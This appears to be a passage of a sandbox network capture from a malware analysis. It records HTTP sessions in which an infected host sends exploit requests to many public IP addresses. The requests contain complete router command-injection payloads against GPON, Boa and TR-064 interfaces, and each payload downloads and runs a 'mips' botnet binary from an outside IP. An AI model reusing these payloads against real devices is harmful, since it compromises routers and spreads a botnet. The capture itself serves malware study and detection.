65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; }
Apr 15, 2024 08:53:03.416950941 CEST	1289	IN	Data Raw: 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 Data Ascii: .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat;
Apr 15, 2024 08:53:03.416964054 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b Data Ascii: .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer {
Apr 15, 2024 08:53:03.416975021 CEST	1289	IN	Data Raw: 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 Data Ascii: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0;
Apr 15, 2024 08:53:03.416987896 CEST	1289	IN	Data Raw: 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 Data Ascii: 2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2
Apr 15, 2024 08:53:03.417007923 CEST	1289	IN	Data Raw: 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 Data Ascii: EVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk
Apr 15, 2024 08:53:03.417020082 CEST	1104	IN	Data Raw: 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 Data Ascii: xOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS
Apr 15, 2024 08:53:03.417306900 CEST	1289	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to vps1.forsalephilippines.com's <a href="mailto:vser
Apr 15, 2024 08:53:03.417320013 CEST	367	IN	Data Raw: 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 Data Ascii: m_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Cop

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	56078	218.95.39.221	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.112880945 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.453521967 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:52:59 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	54468	34.43.1.23	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.136606932 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	54514	184.50.206.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.199026108 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.411252975 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Mon, 15 Apr 2024 06:53:03 GMT Date: Mon, 15 Apr 2024 06:53:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 66 32 64 61 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 36 61 38 61 35 30 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 66 32 64 61 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 36 61 38 61 35 30 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6f2da17.1713163983.6a8a50b<P>https://errors.edgesuite.net/9.6f2da17.1713163983.6a8a50b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	38612	178.135.119.42	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.530049086 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	42450	178.211.209.16	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.954437017 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	50934	119.23.86.2	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.276984930 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	48262	71.33.150.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.525702000 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:04.744174957 CEST	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	39554	75.168.83.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.528966904 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	57072	183.120.90.132	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.607640028 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	52986	181.31.180.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.613392115 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	34836	45.239.134.57	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.650188923 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:04.980187893 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:04 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	48272	71.33.150.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.736042023 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	39564	75.168.83.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.744081974 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	54512	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.759165049 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	44850	41.10.146.216	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.774154902 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
